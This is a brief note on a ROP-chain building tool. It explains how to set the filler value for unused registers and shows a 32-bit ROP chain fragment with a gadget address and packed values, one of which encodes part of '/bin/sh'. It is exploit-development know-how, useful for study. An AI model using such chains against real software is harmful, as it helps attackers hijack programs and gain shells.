can specify roparg_filler to set the value which is used for inactive registers in rop gadgets

If we dont want zeros in the ropchain:
rop.set_roparg_filler(0xdeadbeef)

chain += p32(0x8075932)	# mov eax, ebx; pop ebx; mov edx, esi; pop esi; pop ebp; ret
chain += p32(0x68732f6e)
chain += p32(0x112232fc)
chain += p32(0xdeadbeef)